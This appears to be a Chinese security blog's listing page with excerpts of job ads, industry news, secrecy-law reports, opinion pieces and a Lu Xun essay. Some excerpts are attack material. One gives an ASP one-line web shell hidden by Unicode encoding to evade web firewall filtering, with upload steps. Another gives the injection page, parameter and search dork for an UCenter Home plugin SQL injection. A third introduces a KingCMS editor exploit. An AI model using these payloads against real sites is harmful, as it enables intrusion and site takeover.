业界
免费日志审计软件 GreenLogAudit 发布 v1.0.5
· 3 分钟阅读
业界
杭州某公司招聘售前工程师、技术支持工程师
售前工程师
1. 本科以上学历，2年以上售前工作经历；
2. 熟悉主流操作系统、数据库、网络设备的使用及安全技术； 至少精通一种*nix类操作系统或数据库；
3. 熟悉信息安全审计技术；
4. 具备良好的文档编写能力及表达能力；
5. 工作态度严谨细致，责任心强；
6. 能适应频繁出差；
7. 持有CISP、CISA、CISSP等证书者优先；
技术支持工程师
1. 专科以上学历；
2. 熟悉常见的操作系统(Linux、Windows)；
3. 了解对主流数据库系统的基本使用；
4. 熟悉安全攻防技术者最佳；
...
安全
通过unicode躲开WEB防火墙过滤
现在有不少服务器加了web的防火墙，用来过滤含asp/jsp/php的网马代码，全部用空格替换，
比较讨厌，不过后来刚好想到以前的一句话时候的unicode编码，那就也搞一个吧。
1.新建一个mdb
2.建表，考入：┼攠數畣整爠煥敵瑳∨≡┩> nbsp;
（实际是<% execute request("a")%>）
3.改后缀为asp/asa
4.上传
5.一句话客户端或者菜刀连接
FROM http://hi.baidu.com/it_security/blog/item/976f6ddbbce719d5b6fd4882.html...
随笔
游侠原创：甲方自己做安全产品 挑战还是机遇？
其实一些研究所自己做产品，已经不是新鲜事了。
大家所熟知的：兵器工业集团信息中心，不但做大家所熟知的通达OA，还有通达监控卫士、深度保密检查工具，在兵器工业集团内部做的非常好。当然，这几个产品在社会上也做的非常好。
另外，游侠知道的，很多研究所（航空、航天、兵器、电子、甚至军队、高校）都有个三产公司在做此类产品，上海、武汉、深圳等都有这样的公司。或者和安全公司合作，或者直接自己从零开始。
其实，甲方自己做这个是有好处的：安全公司只能做“基本上适合所有人”的产品，而他们不一样，他们完全可以按照自己的业务流程去开发安全产品。而这一点，外面的安全公司是不好做的。
...
业界
数据库审计
新做的数据库审计专题，URL是：DBAudit.YouXia.Org
主要提供：数据库审计资讯、数据库审计产品、数据库审计厂家、数据库审计技术文章等，如果厂家乐意，也可能会放数据库审计产品的技术白皮书、宣传PPT等，希望得到各厂家、从业人员、爱好者的支持。
其实在 www.youxia.org 也有不少数据库审计的咨询，但是毕竟，搜来搜去的，不那么方便。干脆重新做一个数据库审计的专题，以后关于数据库审计的信息会都发在 http://dbaudit.youxia.org 当然，在 www.youxia.org 也会有，但是这个专题，作为一个数据库审计的专门的页面，会更加专业。
如果您乐意在本站推广您的产品或分享您的技术，请联系站长 张百川（网路游侠）QQ：55984512 或 55984512。
业界
北京知道创宇诚聘技术型售前5名，有股份期权
本来是watercloud发在华安论坛的，游侠也和几个知道创宇的朋友聊得来，转发下
知道创宇是专心做技术的个公司，招人不要求学历、性别、年龄，值得尊重
我们是：
北京知道创宇信息技术有限公司，一家小公司，你多半没有听说过……
公司网站在这里：www.knownsec.com
我们成立时间不长，追求卓越的WEB安全技术，致力于为网站提供安全产品和SAAS服务，让网站更安全，让网民能安心享受互联网。我们是国内唯一一家美国微软安全服务提供商，也是CNCERT国家漏洞平台支撑单位。你可以google搜索 knownsec 或 知道创宇 来更好的了解我们
...
网络
升级了下水星MW54R 无线宽带路由器
近期发现MW54R无线路由器经常性down机，重启后还是连不上，必须重新启动一次才行，于是网上搜了下，发现有人说这个路由器某些固件是如此的，于是升级到4.6.6 Build 100625 Rel.55083n版本，说这个版本没问题。我也下载了个，升级了。
文摘
转：IT人士应当知道的10个行业小内幕
如果你打算从事IT行业或刚进入这个行业，也许本文下面的小内幕会吓到你，因为这些事平常都不会公开讨论的。如果你是IT资深人士，或许你已经遇到其中的大部分了。如果你愿意，请一起来参与讨论吧。
这些内幕大多数是针对网络管理员、IT经理和桌面支持专业人士。虽然这些小内幕并不针对开发人员和程序员（这两类人员也有对应的小内幕。），但有些或许也适用于他们。
10. 虽然IT业的薪酬比其他很多行业要好，但有公司因此视你为其“佣人”
尽管IT人士的薪水没有互联网泡沫之前要好，但和其他行业人士比较，IT人的薪资还算好点。在接下的几十年中，科技在商业和社会发展中所占分量会一直增加，所以我们完全有理由相信，IT专业人才的需求量也不会减少。
...
业界
新保密法今起实施 涉密计算机不得连网
解放日报讯 (记者 简工博)修订后的《中华人民共和国保守国家秘密法》今天起正式实施。据悉，针对近年来信息化发展的现状和网络泄密高发的趋势，新修订的保密法对计算机网络保密管理提出了新标准，计算机信息系统将按照涉密程度不同，采取不同强度的管理措施，明确涉密计算机和储存设备不得接入互联网。
据悉，与保密法修订前相比，定密制度有了改变。不再赋予县级机关定密权和地级市机关绝密级定密权。不同密级
业界
南京军区6名师机关干部因违反保密规定受处分
解放军报9月29日报道 9月3日，南京军区某装甲师召开安全保密专题教育动员大会。会上，宣布了对违反保密规定的人员处理决定，2名师机关科长作了检查，4名师机关干部被调离师机关。
前不久，该师保密委员会对师机关进行了一次安全保密检查，发现了涉密文件管理不正规等10个问题。对此，少数同志认为这次检查发现的问题，涉及的机关干部比较多，法不责众，只能大事化小，批评教育、整改问题、接受教训就行了。
然而，该师党委分析认为，必须维护保密法规的严肃性、权威性，不管涉及谁、涉及多少人都要按照规定处理。师党委研究决定，专门安排一天时间在全师开展安全保密专题教育，责令问题较多的两个科的科长作检查，将4名负有直接责任的干部调离师机关。
...
业界
德国专家设想给网络信息设“失效期”
不少人喜欢在网上发布信息。一些信息，如一时冲动写下的不恰当评论或拍摄的不雅照片，日后可能给发布者带来麻烦。德国一名信息技术专家设想开发一种技术，让人们今后在互联网上发布信息时能给信息设置一个在网上留存的期限，超过期限，信息就会自动从网上消失。
办法
即使经常去删除发布在网上的文字和图片仍难以消除痕迹，因为搜索引擎会自动“梳理”网络，记下上面发布的一切信息。
德国萨尔州大学信息安全和密码系统专家迈克尔·贝克说，要想彻底清除所发布信息，“需要阻止数据自动存储”。
德新社２６日报道，按照贝克设想，只要在电脑中安装一个插件，在网上发布信息时就可以设置一个“失效日”。
...
安全
回顾KingCMS ASP 5.0/5.1漏洞利用方法 ZT
KingCMS ASP是基于ASP+ACCESS构架的一款很不错的CMS系统，前台全部静态化处理，新一代 KingCMS 提供了更好的界面、更多的开发余地、更强大的扩展能力，现今也受到不少站长的欢迎。但是在没有正确设置系统的情况下会爆出一个致命的弱点，特别是针对比较懒的站长。
漏洞算不上0day，但是却具有0day的危害效果，主要是因管理为对后台路径和编辑器路径做更改，系统是使用FCKeditor编辑器，这个编辑器的漏洞大家都比较熟悉了，下面就给出具体利用方法。
利用前提：管理员未更改后台路径以及FCKeditor编辑器路径做更改。
...
安全
转：传说中的DZ 0day？——经测试可用
从zhenker的百度空间转转过来的，游侠刚测试了下，可以用！OK , Let's Go !
UCenter Home 2.0 shop插件漏洞都叫做DZ 0DYAY了。真杯具。
注入页: shop.php
注入字段: (?)ac=view&shopid=
关键词: inurl:shop.php?ac=view&shopid=
文摘
鲁迅杂文《“友邦惊诧”论》
只要略有知觉的人就都知道：这回学生的请愿[2]，是因为日本占据了辽吉，南京政府束手无策，单会去哀求国联，[3]而国联却正和日本是一伙。读书呀，读书呀，不错，学生是应该读书的，但一面也要大人老爷们不至于葬送土地，这才能够安心读书。报上不是说过，东北大学逃散，冯庸大学[4]逃散，日本兵看见学生模样的就枪毙吗？放下书包来请愿，真是已经可怜之至。不道国民党政府却在十二月十八日通电各地军政当局文里，又加
随笔
游侠原创：做安全的，你拿用户当智者还是傻子？
我们国内没有一家能有世界影响力的安全公司，亦或说像点样子的安全公司。当然，你和我说卫士通、启明星辰上市了……那谁、那谁，也上市了，但是除了卫士通、启明星辰是做安全的，其它那些上市的是纯粹的安全公司吗？他们只是在业务里面有安全这一块而已。
业界
杭州安信检测技术有限公司招聘“攻防人员”
杭州安信检测技术有限公司招聘“攻防人员”
公司介绍
杭州安信检测技术有限公司是一家专业从事信息安全等级保护测评、信息安全风险评估、信息安全体系建设咨询与服务的独立第三方机构。是浙江省公安厅等级保护工作的主要技术支撑单位，及浙江省通报中心技术支持单位。
公司目前拥有信息系统测评实验室、物理安全测评实验室等专业信息安全测评实验环境，具有专业的检测工具、专业的信息系统安全测试软件及物理安全专业测试相关设备等。
与上海交通大学信息安全学院、DNV中国、国内信息安全专业机构及行业领先企业均建立了良好的合作关系和战略联盟。
...